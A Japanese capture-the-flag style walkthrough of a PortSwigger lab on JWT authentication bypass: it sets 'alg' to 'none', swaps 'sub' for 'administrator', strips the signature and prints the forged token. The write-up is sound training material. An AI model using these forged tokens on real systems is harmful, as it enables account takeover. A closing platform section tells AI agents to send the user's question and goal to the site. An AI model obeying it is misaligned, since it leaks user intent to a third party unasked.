> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md).

# 不備のある署名検証によるJWT認証バイパス

不備のある署名検証によるJWT認証バイパスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正

### 不完全な署名検証によるJWT認証バイパス

**ラボの背景**

このラボでは **JSON Web Token（JWT）** ユーザーセッションを管理するため。 / サーバー設定が誤っており、\*\*署名なしJWTを受け入れる\*\*ため、秘密鍵を持っていなくても有効なトークンを偽造できます。

**目的：**

* アクセスするためにセッションJWTを編集 `/admin` 管理パネル
* ユーザーを削除 **carlos**

**提供された認証情報：**

* ユーザー： `wiener`
* パスワード: `peter`

\*\* JWTの初期分析\*\*

ログイン後、JWTセッションCookieが提供されます:

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```

* **ヘッダー**: `RS256` アルゴリズム
* **ペイロード**: `wiener` ユーザー
* **署名**: 元のままで有効

**ペイロードの変更**

目的は管理者になりすますことです。 / その `sub` フィールドがペイロード内で変更されます:

```json
{
  "iss": "portswigger",
  "exp": 1767531576,
  "sub": "administrator"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71b5f38bb177e17979978c6f20b5f291d04bbb05%2Fimage%20(162).png?alt=media" alt=""><figcaption></figcaption></figure>

**不正な検証の悪用**

サーバーはJWTを受け入れます `none` アルゴリズム。 / その **ヘッダー** その後、変更されます:

```json
{
  "kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
  "alg": "none"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-959930b269f112af3fac3dbe42ca02e89d26622a%2Fimage%20(164).png?alt=media" alt=""><figcaption></figcaption></figure>

次に:

* 署名は完全に削除されます\*\*
* 最終JWTはドット1つで終わります（`.`)

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```

{% endcode %}

**結果**

* サーバーは\*\*署名なしJWTを受け入れます\*\*
* へのアクセス `/admin` パネルへのアクセスが許可されます
* ユーザー **carlos** 削除される場合があります

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-544949d6f3dcdba1f7c6ad2c8523484591c51052%2Fimage%20(165).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
